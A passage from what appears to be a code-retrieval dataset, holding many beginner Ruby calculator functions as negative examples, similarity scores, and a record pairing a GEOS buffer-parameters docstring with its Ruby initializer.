result = a - b\n elsif operator == \"multiply\"\n return result = a * b\n elsif operator == \"divide\"\n return result = a / b\n\nend", "def calculate_answer(operator, a, b)\n if operator == \"add\"\n a + b \n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n elsif operator == \"exponent\"\n a ** b\n elsif operator == \"modulus\"\n a % b\n end\nend", "def basic_calc\n\tprint \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide:\" \n\tuser_input = gets.chomp\nif user_input == \"a\"\n\tadd\nelsif user_input == \"s\"\n\tsubtract\nelsif user_input == \"m\"\n\tmultiply\nelsif user_input == \"d\"\n\tdivide\n\tend\nend", "def mathy\n print \"what is the first number?\"\n first = gets.chomp.to_i\n\n print \"what is the second number\"\n second = gets.chomp.to_i\n\n puts \"\\n #{first} + #{second} = #{first + second}\\n\n #{first} - #{second} = #{first - second} \\n\n #{first} * #{second} = #{first * second} \\n\n #{first} / #{second} = #{first / second}\"\nend", "def calculate_answer(operator, a, b)\r\n\r\n if operator == \"add\"\r\n return result= a + b\r\n elsif operator == \"subtract\"\r\n return result = a - b\r\n elsif operator == \"multiply\"\r\n return result = a * b\r\n elsif operator == \"divide\"\r\n return result = a / b\r\n\r\n end\r\n\r\nend", "def single_input_calc\n puts \"What would you like to calculate? - enter first number then operator then second number.\"\n to_calc = gets.strip\n arr = to_calc.split\n first_num = arr[0].to_i\n op = arr[1].to_s\n second_num = arr[2].to_i\n string_result = first_num.public_send(op, second_num)\n puts \"The result is: #{string_result}\"\n @arr_results << {first_number: first_num, modifier: op, second_number: second_num, result: string_result}\n end", "def basic_calc ()\n print \"Please choose from the following options:\n(a)dd, (s)ubtract, (m)ultiply, (d)ivide, (r)eturnt to main menu : \"\n basic_menu_request = gets.chomp.downcase\n case basic_menu_request\n when \"a\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first + second\n puts \"The answer is #{answer}\"\n when \"s\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first - second\n puts \"The answer is #{answer}\"\n when \"m\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first * second\n puts \"The answer is #{answer}\"\n when \"d\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first / second\n puts \"The answer is #{answer}\"\n when \"r\"\n puts menu\n else\n print \"That is not a valid command. \"\n puts basic_calc\n end\n\nend", "def calc()\n\tputs \"Calculator:\"\n\tcalculate = true\n\twhile calculate == true\n\t\tfirst_num = input_num()\n\t\tputs \"> #{first_num}\"\n\t\toperator = input_operator()\n\t\tputs \"> #{first_num} #{operator}\"\n\t\tsecond_num = input_num()\n\t\tputs \"> #{first_num} #{operator} #{second_num}\"\n\t\t\n\t\tif operator == \"+\"\n\t\t\tadd(first_num, second_num)\n\t\telsif operator == \"-\"\n\t\t\tsubtract(first_num, second_num)\n\t\telsif operator == \"*\"\n\t\t\tmultiply(first_num, second_num)\n\t\telsif operator == \"/\" && second_num == 0\n\t\t\tputs \"Division by zero is undefined\"\n\t\telsif operator == \"/\"\n\t\t\tdivide(first_num, second_num)\n\t\telse\n\t\t\tputs \"Error\"\n\t\tend\n\t\tcalculate = leave?()\n\tend\nend", "def operation_select\n puts \"Which operator would you like to use?\"\n puts \"1. add(+)\"\n puts \"2. subtract(-)\"\n puts \"3. multiply(*)\"\n puts \"4. divide(/)\"\n puts \"5. power(^)\"\n puts \"6. modulo(%)\"\n puts \"Please choose one operator (type name or symbol):\"\n operation = gets.chomp\n numeric_input(operation)\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n basic_menu_choice = gets.chomp.downcase\n\n if basic_menu_choice == 'a'\n \tputs \"Enter the first number you want to add:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to add:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} + #{y} = #{x + y}\"\n\n elsif basic_menu_choice== 's'\n \tputs \"Enter the first number you want to subtract:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to subtract:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} - #{y} = #{x - y}\"\n\n elsif basic_menu_choice == 'm'\n \tputs \"Enter the first number you want to multiply:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to multiply:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} x #{y} = #{x * y}\"\n\n elsif basic_menu_choice == 'd'5\n \tputs \"Enter the first number you want to divide:\"\n \tx = gets.chomp.to_i\n \tputs \"Enter the second number you want to divide by:\"\n \ty = gets.chomp.to_i\n \tputs \"#{x} / #{y} = #{x / y}\"\n\n else\n \tputs \"Invalid selection\"\n end\nend", "def menu\n puts \"Please type the menu number for the calculation you'd like to perfrom: \"\n puts \" Put 1 for Basic calculator and 2 for Advanced calculator\"\n calculator = gets.chomp.to_i\n\n\n if calculator == 1\n basic_calc\n else calculator == 2\n advanced_calc\n end\nend", "def basic_calc\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n basic_functions = gets.chomp\n while basic_functions != \"quit\"\n if basic_functions == \"a\"\n puts \"Enter first number\"\n add1_int = gets.chomp\n puts \"Enter second number\"\n add2_int = gets.chomp\n puts \"Equals\"\n puts add1_int + add2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n end\n if basic_functions == \"s\"\n puts \"Enter first integer\"\n sub1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n sub2_int = gets.chomp.to_i\n puts \"Equals\"\n puts sub1_int - sub2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n end\n if basic_functions == \"m\"\n puts \"Enter first integer\"\n mult1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n mult2_int = gets.chomp.to_i\n puts \"Equals\"\n puts mult1_int * mult2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n\n end\n if basic_functions == \"d\"\n puts \"Enter first integer\"\n div1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n div2_int = gets.chomp.to_i\n puts \"Equals\"\n puts div1_int / div2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n\n end\n end\nend", "def main\n # determine whether to use verbose outpuut\n verbose = false\n if ARGV[0] != nil and ARGV[0].downcase == \"-v\"\n verbose = true\n end\n\n # get input\n puts \"Instructions: enter a mathematical expression using +, -, *, /, **, or (q)uit\"\n puts \"Calculator follows order of operations\"\n puts \"All elements must be separated by spaces\"\n puts \"e.g. ( 4 + 5 ) * 6\"\n print \"Enter an expression: \"\n expr = STDIN.gets.strip\n\n # continue calculating expressions until user quits\n until expr.downcase.start_with?(\"q\")\n # send to calc() and print result\n result = calc(expr, verbose)\n\n if result == nil\n puts \"Please enter a valid expression\"\n puts \"Common error: all elements should be separated by spaces\"\n elsif result % 1 == 0 # print int if result is integer\n puts result.to_i\n else\n puts result\n end\n\n print \"enter another expression, or (q)uit: \"\n expr = STDIN.gets.strip\n end\nend", "def add\n # ask for some inputs, after some text.\n # turn those inputs into a float, and saves it in some variable.\n print \"What is your first number?\"\n first_number = gets.to_f\n\n print \"What is your second number?\"\n second_number = gets.to_f\n\n # add the two inputs given together and save the result.\n result = first_number + second_number\n\n # Print these things out ot the screen\n puts \"The result is #{result}\"\nend", "def menu\n puts \"______Calculator_______\"\n puts \"\\t1) Enter first number\"\n puts \"\\t2) Enter modifier\"\n puts \"\\t3) Enter second number\"\n puts \"\\t4) The result is:\"\n return gets.strip.to_i\nend", "def add\n #ask for some inputs , after some text\n #turn those inputs into a float, and save it in some variable\n print \"what is your first number? \"\n first_number = gets.to_f\n print \"what is your second number? \"\n second_number = gets.to_f\n # Add the two inputs given togrther and save the result\n result = first_number + second_number\n #print\n puts \"The result is #{result}\"\nend", "def add\n# ask for some input , after the text\n#turn those input into a float . and saves it in some variable\n print 'what is your first number?'\n first_number = gets.to_f\n print 'what is your second number?'\n second_number = gets.to_f\n\n # add the two inputs given together and save result\n result = first_number + second_number\n\n# pritn these things out\n puts \"The result is #{result}\"\nend", "def valid_operation(user_input)\n user_input.downcase!\n \n case user_input\n when \"add\", \"+\"\n puts \"\\n*** ADDING ***\"\n add(*get_numbers)\n when \"subtract\", \"-\"\n puts \"\\n*** SUBTRACTING ***\"\n subtract(*get_numbers)\n when \"multiply\", \"*\"\n puts \"\\n*** MULTIPLYING ***\"\n multiply(*get_numbers)\n when \"divide\", \"/\"\n puts \"\\n*** DIVIDING ***\"\n divide(*get_numbers)\n else\n puts \"\\nERROR, please enter one operator(name or symbol)\"\n print \"=> \"\n valid_operation(gets.chomp)\n end\n \nend", "def addition(input_number1, input_number2)\n\tsum = input_number1 + input_number2\n\tputs \"The sum of #{input_number1} and #{input_number2} is #{sum}\"\n\tputs \"Thank you for using the calculator. Goodbye!\"\nend", "def print_choices\n # A user should be able to enter numbers to perform the operation on\n puts \"========================\"\n puts \"Input number 1 please:\"\n @number_one = gets.chomp.to_i\n puts \"Input number 2 please:\"\n @number_two = gets.chomp.to_i\n puts \"\"\n puts \"What do you want to do with the numbers?\"\n # Calculator should be able to do basic arithmetic (+,-, *, /)\n puts \"1 - addition\"\n puts \"2 - subtraction\"\n puts \"3 - division\"\n puts \"4 - multiplication\"\n puts \"5 - quit\"\n gets.chomp.to_i\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n choice = gets.chomp\n case\n when choice == \"a\"\n puts \"What would you like to add?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 + num2}\"\n menu\n when choice == \"s\"\n puts \"What would you like to subtract?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 - num2}\"\n menu\n when choice == \"m\"\n puts \"What would you like to multiply?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 * num2}\"\n menu\n when choice == \"d\"\n puts \"What would you like to divide?\"\n print \"First number: \"\n num1 = gets.chomp.to_f\n print \"Ok, now the second number: \"\n num2 = gets.chomp.to_f\n puts \"Your maths equal #{num1 / num2}\"\n menu\n end\nend", "def addition\nprint \"What is your first number? \"\nfirst_num = gets().to_i\n\nprint \"What is the second number? \"\nsecond_num = gets().to_i\n\nresult = first_num + second_num\nputs \"#{first_num} + #{second_num} = #{result}\"\nend", "def basic_calc\n print Rainbow(\"\\n(a)\").white+Rainbow(\"dd \").green+Rainbow(\"(s)\").white+Rainbow(\"ubtract \").green+Rainbow(\"(m)\").white+Rainbow(\"ultiply \").green+Rainbow(\"(d)\").white+Rainbow(\"ivide \").green\n choice = gets.chomp.to_s\n print Rainbow(\"\\nfirst number: \").blue\n first = gets.chomp.to_f\n print Rainbow(\"second number: \").blue\n second = gets.chomp.to_f\n case choice[0].downcase\n when \"a\"\n print Rainbow(\"\\n#{first} + #{second} = \").blue + Rainbow(\"#{first + second}\\n\\n\").white\n when \"s\"\n print Rainbow(\"\\n#{first} - #{second} = \").blue + Rainbow(\"#{first - second}\\n\\n\").white\n when \"m\"\n print Rainbow(\"\\n#{first} 8 #{second} = \").blue + Rainbow(\"#{first * second}\\n\\n\").white\n when \"d\"\n print Rainbow(\"\\n#{first} / #{second} = \").blue + Rainbow(\"#{(first / second).rounf(5)}\\n\\n\").white\n when \"q\"\n menu\n else \n print Rainbow(\"\\nYou are doing it \").green + Rainbow(\"WRONG\\n\").red\n basic_calc\n end\nend", "def do_math(num1, num2)\n prompt_string = PROMPT + \" 1)add 2)subtract 3)multiply 4)divide\"\n puts prompt_string\n action = gets.chomp\n \n # boolean flag to determine if we need to continue\n # in the loop or drop out. false continues\n done = false\n \n # loop until the user performs a valid action or enters 'q' to quit\n # provides Infinity or -Infinity as appropriate for division by zero\n begin\n case action\n when '1'\n puts PROMPT + \"#{num1} added to #{num2} = \" + (num1 + num2).to_s\n done = true\n when '2'\n puts PROMPT + \"#{num1} minus #{num2} = \" + (num1 - num2).to_s\n done = true\n when '3'\n puts PROMPT + \"#{num1} times #{num2} = \" + (num1 * num2).to_s\n done = true \n when '4' #watch out for divide by zero\n if( (num2 == 0 || num2 == 0.0) && num1 >= 0 )\n puts PROMPT + \"#{num1} divided by #{num2} = Infinity\"\n elsif( (num2 == 0 || num2 == 0.0) && num1 < 0 )\n puts PROMPT + \"#{num1} divided by #{num2} = -Infinity\"\n elsif( (num1%num2) != 0 )\n puts PROMPT + \"#{num1} divided by #{num2} = \" + (num1/num2.to_f).to_s\n else\n puts PROMPT + \"#{num1} divided by #{num2} = \" + (num1/num2).to_s\n end\n done = true\n when 'q'\n puts PROMPT + \" Bye.\"\n exit\n else\n puts PROMPT + \"Invalid operation selected. Please try again or [q] to quit\"\n puts prompt_string\n action = gets.chomp\n end\n end while done == false\nend", "def calculate_answer(operator, a, b)\n\tif operator == \"add\"\n \ta + b\n\telsif operator == \"subtract\"\n \t\ta - b\n\telsif operator == \"multiply\"\n \ta * b\n\telsif operator == \"divide\"\n \ta / b\n\telsif operator == \"square\"\n \t\ta ** b\n\telsif operator == \"bmi\"\n \t\ta / (b ** 2)\n\tend\nend", "def determine_operators\n #prompt the user for a selection\n print \"Please select (B)asic or (A)dvanced calculator operations:\"\n #store the selection\n calc_operations = gets.chomp.downcase\n #determine which operators to display and call their associated methods\n if calc_operations == 'b'\n display_basic_operators\n elsif calc_operations == 'a'\n display_advanced_operators\n else\n puts \"Please only select (B)asic or (A)dvanced calculator operations:\"\n end\nend", "def get_user_choice\n #show the available operations\n puts \"(+) - Addition\"\n puts \"(-) - Substraction\"\n puts \"(/) - Division\"\n puts \"(*) - Multiple\"\n puts \"(**) - Exponents\"\n puts \"(sr) - Square Root\"\n puts \"(q) - Quit\"\n\n print \"Enter your selection: \"\n gets.downcase.chomp\nend", "def calculator(x, operator, y)\r\n\r\n\tif ['+', '-', '*', '/'].include? operator\r\n\t\tcalculation = x.send(operator.to_sym, y) #send x to object (operator which has been converted to a symbol) and y. calculation will now = x (operator) y\r\n\telse\r\n\t\tputs \"ERROR! Invalid input. Please try again.\"\r\n\tend\r\n\treturn calculation #previously had this set to 'print' instead of 'return' which was causing issues when needing to print a history of values returned\r\nend", "def request_operations_numbers(user_input, valid_operators)\n puts \"What operation would you like to perform?\"\n operation = gets.chomp\n if valid_operators.values.flatten.include?(operation)\n user_input[:operation] = operation\n else\n puts \"Whoa nelly! You don't make sense. You can add, subtract, multiply, or divide.\"\n exit\n end\n puts \"What's the first number you would like to use?\"\n num_1 = gets.chomp\n user_input[:num_1] = num_1\n\n puts \"What's the second number you would like to use?\"\n num_2 = gets.chomp\n user_input[:num_2] = num_2\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n user_input = gets.chomp.downcase\n # \"return user_input\" is implied (Ruby methods ALWAYS returns the last expression)\nend", "def basic_calculator_type\n print \"What would you like to do? Type 1 to add, 2 to subtract, 3 to multiply or 4 to divide: \"\n selection = gets.to_i\n # puts \"You chose #{selection}\"\n if selection == 1\n \"add\"\n elsif selection == 2\n \"subtract\"\n elsif selection == 3\n \"multiply\"\n elsif selection == 4\n \"divide\"\n else\n \"error\"\n end\nend", "def calculator\n\n keep_looping = true\n result = nil\n first_number = nil\n second_number = nil\n \n while keep_looping\n begin\n if result\n puts \"Result: #{result}\"\n first_number = result\n else\n \n puts \"First Number:\"\n first_number = gets.strip.to_f\n end\n puts \"Modifier ( + - * / ) or clear:\"\n modifier = gets.strip\n if modifier == 'clear'\n result = nil\n redo\n end\n \n puts \"Second Number:\"\n second_number = gets.strip.to_f\n end until result = get_result(first_number, modifier, second_number)\n end\n end", "def add\n# nums()\n puts \"\"\n puts \"What is your first number?\"\n first_num = gets.chomp.to_f\n\n puts \"What is your second number?\"\n second_num = gets.chomp.to_f\n\n result = first_num + second_num\n puts \"#{first_num} + #{second_num} = #{result}\"\nend", "def user_picks_an_operation\n puts \"Here's what I can do for you: \\n Add(+) \\n Subtract(-) \\n Multiply(*) \\n Divide(/) \\n Exponentiate(^) \\n Remainder(%) \\nWhich one would you like to do?\"\noperation = gets.chomp\ncase operation.downcase\n when \"add\", \"+\"\n add_it\n when \"subtract\", \"-\"\n subtract_it\n when \"multiply\", \"*\"\n multiply_it\n when \"divide\", \"/\"\n divide_it\n when \"exponentiate\", \"^\"\n exponentiate_it\n when \"remainder\", \"%\"\n modulo_it\n else\n puts \"That's not an available operation! Please try again.\"\n user_picks_an_operation\n end\nend", "def add()\n puts \"{what numbers do yu want to add?\"\n num1 = gets.chomp\n num2 = gets.chomp\n result =@num1 + @num2\n puts \"your answer is {result = @num1 + @num2}\"\n end", "def input_operator()\n\twhile true\n\t\tputs \"What do you want to do?\"\n\t\tputs \"+ -> add\"\n\t\tputs \"- -> subtract\"\n\t\tputs \"* -> multiply\"\n\t\tputs \"/ -> divide\"\n\t\t\n\t\top = gets.strip\n\t\tcase op\n\t\twhen \"+\"\n\t\t\treturn \"+\"\n\t\twhen \"-\"\n\t\t\treturn \"-\"\n\t\twhen \"/\"\n\t\t\treturn \"/\"\n\t\twhen \"*\"\n\t\t\treturn \"*\"\n\t\telse\n\t\t\tputs \"Please enter only + - * or /\"\n\t\tend\n\tend\nend", "def calculate(operation, n1, n2)\n if operation == \"add\" || operation == \"+\"\n return \"#{n1} + #{n2} = #{n1+n2}\"\n elsif operation == \"subtract\" || operation == \"-\"\n return \"#{n1} - #{n2} = #{n1-n2}\"\n elsif operation == \"multiply\" || operation == \"*\"\n return \"#{n1} * #{n2} = #{n1*n2}\"\n elsif operation == \"divide\" || operation == \"/\"\n if n2 == 0\n return \"undefined\"\n else\n return \"#{n1} / #{n2} = #{n1/n2}\"\n end\n elsif operation == \"exponent\" || operation == \"^\"\n return \"#{n1} ^ #{n2} = #{n1**n2}\"\n elsif operation == \"modulo\" || operation == \"%\"\n return \"#{n1} % #{n2} = #{n1%n2}\"\n end\nend", "def display_result(num1, num2, operator)\n # say \"num1: #{num1}, num2: #{num2}, operator #{operator}\"\n case operator\n when '1'\n result = num1.to_i + num2.to_i\n say \"#{num1} + #{num2} = #{result}\"\n when '2'\n result = num1.to_i - num2.to_i\n say \"#{num1} - #{num2} = #{result}\"\n when '3'\n begin\n result = num1.to_f / num2.to_f\n say \"#{num1} / #{num2} = #{result}\"\n rescue\n say(\"Div by 0\")\n end\n else\n result = num1.to_i * num2.to_i\n say \"#{num1} * #{num2} = #{result}\"\n end\n result.to_s\nend", "def read_and_calculate\n puts 'Insert the equation'\n entry = gets.chomp\n result = calculate(entry)\n puts result\n end", "def menu\nputs \"Select calculation option:\\n\"\nputs \"Option 1 - add, Option 2 - subtract, Option 3 - multiply, Option 4 - divide, Option 5 - exponent, Option 6 - square root\"\n\n option = gets.to_i\n\n if option == 1\n return \"add\"\n elsif option == 2\n return \"subtract\"\n elsif option == 3\n return \"multiply\"\n elsif option == 4\n return \"divide\"\n elsif option == 5\n return \"exponent\"\n\n elsif option == 6\n puts \"For square root calculation, enter one number\"\n return \"square\"\n \n end\nend", "def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend", "def addition\n print \"What is your first number? \"\n first_num = gets().to_i\n\n print \"What is your second number? \"\n second_num = gets().to_i\n\n result = first_num + second_num\n puts \"#{first_num} + #{second_num} = #{result}\"\nend", "def add\n print \"What is the first number? \"\n first_number = gets.to_f\n\n print \"What is the second number? \"\n second_number = gets.to_f\n\n result = first_number + second_number\n\n puts \"The results is #{result}.\"\nend", "def menu #here the method is defined. it doesnt require any parameters because it asks the user for information\n puts \"\" #This is just an empty line\n puts \"(a) is addition\"\n puts \"(b) is subtraction\"\n puts \"(c) is multiplication\"\n puts \"(d) is division\"\n puts \"(e) is for exponents\"\n puts \"(q) is for quit\"\n print \"Enter your choice: \"\n gets.chomp() #Whateever we type is saved as this gets.chomp() statements. Note: this is the same as saying return.gets.chomp but we don't need it because the final line in a method is automatically returned\nend", "def input\n\tputs 'What sorta math do ya wanna do?'\n\tputs '1 for addition'\n\tputs '2 for subtraction'\n\tputs '3 for multiplication'\n\tputs '4 for division'\n\tputs '5 for exponent'\n\tputs '6 for squaring'\n\tputs '7 for cubing'\n\tputs '8 for square rooting'\n\tgets.chomp.to_i\nend", "def advanced_calculator_type\n print \"What would you like to do? Type 1 to find exponents or 2 to find the square root of a number: \"\n selection = gets.to_i\n # puts \"You chose #{selection}\"\n if selection == 1\n \"exponents\"\n elsif selection == 2\n \"square root\"\n else\n \"error\"\n end\nend", "def input_equation()\n\tputs \"Hello I'm a calculator\"\n\twhile true\n\t\tputs \"Please input a math equation that has + - * or / (ex. 3 * 5)\"\n\t\tuser_input = gets.strip\n\t\t# remove all spaces from input\n\t\tuser_input = user_input.gsub(/\\s+/, \"\")\n\t\t# Find any characters not 0-9 + - / or *\n\t\tif /[^+\\-\\*\\/0-9]/.match(user_input)\n\t\t\tputs \"Please enter an equation with only numbers seperated by + - / or *\"\n\t\t\t# Make sure equation has only one operator\n\t\telsif /\\A-?\\d+\\D-?\\d+\\z/.match(user_input)\n\t\t\texpression = /\\A-?\\d+\\D-?\\d+\\z/.match(user_input)[0]\n\t\t\treturn expression\n\t\telse\n\t\t\tputs \"Please enter a simple math equation such as \\\"7 / 5\\\"\"\n\t\tend\n\tend\nend", "def menu\n puts \"(a) - addition\"\n puts \"(s) - subtraction\"\n puts \"(m) - multiplication\"\n puts \"(d) - division\"\n puts \"(r) - remainder\"\n puts \"(e) - exponential\"\n puts \"(o) - root\"\n puts \"(q) - quit\"\n print Rainbow(\"Enter your choice of calculation: \").bold.white\n\n gets().chomp() #Implict return\nend", "def menu\n puts 'Welcome to the ruby calculator!'\n puts 'Press 1 to calculate or 2 to quit'\n case\n answer = gets.strip\n when '1'\n calculate\n when '2'\n exit\nend\nend", "def display_advanced_operators\n puts \"Please select an Advanced operation type: \\n (E)xponent \\n (S)quare root\"\n print \"> \"\n advanced_operation = gets.chomp.downcase\n case advanced_operation\n when 'e'\n puts \"Exponent selected\"\n print \"Please enter the base value that needs to be multiplied: \"\n base = gets.chomp.to_i\n if base > 0\n print \"Please enter the exponent value that needs to be applied to the base: \"\n power = gets.chomp.to_i\n puts \"Total #{base**power}\"\n else\n \"Please enter a value greater than zero for the calculation.\"\n end\n when 's'\n puts \"Square root selected\"\n print \"Please enter a value to determine the square root: \"\n sq_value = gets.chomp.to_f\n puts \"Total #{Math.sqrt(sq_value)}\"\n else\n puts \"I didn't recognise your selection. Please only pick an Advanced operation type: \\n (E)xponent \\n (S)quare root \\n > \"\n end\nend", "def calc(user_choice)\n if(user_choice == \"m\")\n puts \"Do you require a (b)asic calculator, or an (a)dvanced calculator?\"\n math_calc = gets.chomp\n if(math_calc == \"b\")\n puts \"Which of the following functions would you like to access? (a)ddition, (s)ubtraction, (m)ultiplication or (d)ivision?\"\n basic_choice = gets.chomp\n if(basic_choice == \"a\")\n addition\n elsif(basic_choice == \"s\")\n subtraction\n elsif(basic_choice == \"m\")\n multiplication\n elsif(basic_choice == \"d\")\n division\n end\n elsif(math_calc == \"a\")\n puts \"Which of the following functions would you like to access? (p)ower of, or (s)quare root?\"\n advanced_choice = gets.chomp\n if(advanced_choice == \"p\")\n power\n elsif(advanced_choice == \"s\")\n square_root\n end\n end\n elsif(user_choice == \"b\")\n puts \"Is the calculation being made in the (i)mperial or the (m)etric system?\"\n system_choice = gets.chomp\n if(system_choice == \"i\")\n imperial_bmi\n elsif(system_choice == \"m\")\n metric_bmi\n end\n elsif(user_choice == \"j\")\n journey\n end\nend", "def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend", "def arithmetic(a, b, operator)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a/b\n else\n print \"hahaa\"\n end\nend", "def rpn_calculator\n operators_list = ['+','-','*','/']\n stack = []\n \n def add(stack)\n stack.push(stack.pop + stack.pop)\n end\n \n def minus(stack)\n var1, var2 = stack.pop, stack.pop\n stack.push(var2 - var1)\n end\n \n def multiply(stack)\n stack.push(stack.pop * stack.pop)\n end\n \n def divide(stack)\n stack.push(stack.pop / stack.pop)\n end\n \n def get_user_input\n puts \"enter number or operator into calculator\"\n\n gets.chomp\n end\n \n puts \"enter 'quit' to quit\"\n loop do\n user_choice = get_user_input\n break if user_choice == \"quit\"\n \n if !(operators_list.include?(user_choice))\n stack << user_choice.to_i\n end\n \n case (user_choice)\n when \"+\"\n add(stack)\n when \"-\"\n minus(stack)\n when \"*\"\n multiply(stack)\n when \"/\"\n divide(stack)\n end \n \n \n p stack\n end \nend", "def display_calculator\n puts \"----Calculator----\"\n puts \"Please select from the following Calculators. type 'B' for basic, 'A' for advanced and 'M for BMI' alternatively type 'quit' to exit? \"\n type_of_calc = gets.chomp()\n if (type_of_calc == \"B\")\n basic_calc\n elsif (type_of_calc == \"A\")\n advanced_calc\n elsif (type_of_calc == \"M\")\n bmi_calc\n end\nend", "def calculations \n case @operator \n when \"+\"\n puts \"#{@first_number} + #{@second_number} = #{@first_number + @second_number}\"\n @user_result = (@first_number + @second_number)\n @user_results_array << @user_result\n when \"-\"\n puts \"#{@first_number} - #{@second_number} = #{@first_number - @second_number}\"\n @user_result = (@first_number - @second_number)\n @user_results_array << @user_result\n when \"/\"\n puts \"#{@first_number} / #{@second_number} = #{@first_number / @second_number}\"\n @user_result = (@first_number / @second_number)\n @user_results_array << @user_result\n when \"*\"\n puts \"#{@first_number} * #{@second_number} = #{@first_number * @second_number}\"\n @user_result = (@first_number * @second_number)\n @user_results_array << @user_result\n end \n puts \"Would you like to continue calculating? Y or N?\"\n answer = gets.chomp \n if answer == \"Y\" || answer ==\"y\"\n continued_calculations\n else \n puts \"Have a good day!\"\n exit \n end \nend", "def number_choice_one\n puts \"Now I need two numbers to use with that operator.\"\n puts \"Type your first number: \"\n gets.chomp.to_i\nend" ]
[ "0.82320696", "0.810565", "0.800514", "0.79812294", "0.7980633", "0.7968294", "0.79512495", "0.79336125", "0.7907316", "0.7862704", "0.7850602", "0.77073884", "0.7673755", "0.7651648", "0.7569274", "0.7549462", "0.7530496", "0.7498322", "0.74729395", "0.746625", "0.7425919", "0.74189377", "0.7390756", "0.7378828", "0.73747075", "0.73721963", "0.73582315", "0.73578244", "0.7348598", "0.7341904", "0.7337253", "0.7333423", "0.7326756", "0.7314547", "0.73046553", "0.7297317", "0.72972804", "0.7295661", "0.7290015", "0.72720706", "0.7268075", "0.72661215", "0.7222156", "0.7198968", "0.7178985", "0.7169504", "0.7165683", "0.71627074", "0.71460474", "0.7114539", "0.7101027", "0.7098679", "0.70378315", "0.70135087", "0.6991103", "0.6970951", "0.6969652", "0.69688517", "0.6961245", "0.6951595", "0.6950997", "0.694695", "0.6944147", "0.6937205", "0.69200414", "0.69145554", "0.69079113", "0.689972", "0.6899493", "0.68954086", "0.68946576", "0.6888102", "0.6860619", "0.6845729", "0.6844991", "0.68423015", "0.68348855", "0.68249327", "0.68157053", "0.6811722", "0.6806762", "0.67984694", "0.67806613", "0.67783064", "0.6775769", "0.67642426", "0.6760763", "0.67598736", "0.6758762", "0.6734666", "0.67161727", "0.6711037", "0.67022794", "0.6700217", "0.6696501", "0.66735613", "0.66714823", "0.6659773", "0.66563106", "0.66560423", "0.66547364" ]
0.0
-1
The defaults for the params according to GEOS are as found in Geos::Constants::BUFFER_PARAMS_DEFAULTS. Note that when setting the :quad_segs value that you should set it before setting other values like :join and :mitre_limit, as GEOS contains logic concerning how the :quad_segs value affects these parameters and vice versa. For details, refer to src/operation/buffer/BufferParameters.cpp and the BufferParameters::setQuadrantSegments(int) method in the GEOS source code for details.
def initialize(params = {}) params = Geos::Constants::BUFFER_PARAM_DEFAULTS.merge(params) ptr = FFIGeos.GEOSBufferParams_create_r(Geos.current_handle_pointer) @ptr = FFI::AutoPointer.new( ptr, self.class.method(:release) ) @params = {} VALID_PARAMETERS.each do |param| send("#{param}=", params[param]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setting_params\n params.require(:setting).permit(:bezier_max_curve, :bezier_curvature, :default_height, :default_width, :zoom)\n end", "def default_params\n @default_params ||= {\n id: nil,\n class: name.gsub(/.*::/, '').downcase,\n width: nil,\n height: nil,\n border: nil,\n borders: nil,\n border_style: nil\n }\n end", "def mDroneParams(inParams = {})\n\n # Start with the defaults\n retParams = @m_droneDefaults.dup\n\n # Choose a mesh name based on the colour\n retParams[:mesh_name] = 'drone'\n\n # Derive type and target types, i.e. what this is and what it shoots at\n retParams[:type] = mType(inParams)\n retParams[:target_types] = mTargetTypes(inParams)\n\n # Select the remnant left behind when rhe craft is destroyed\n retParams[:remnant] = $currentLogic.mRemnant.mLowGradeRemnant(@m_attendantNum)\n\n # Set scanner symbol. Needs to know remnant type, hence merge\n retParams[:scanner_symbol] = mScannerSymbol(retParams.merge(inParams))\n\n # Add paramters common to all pieces, 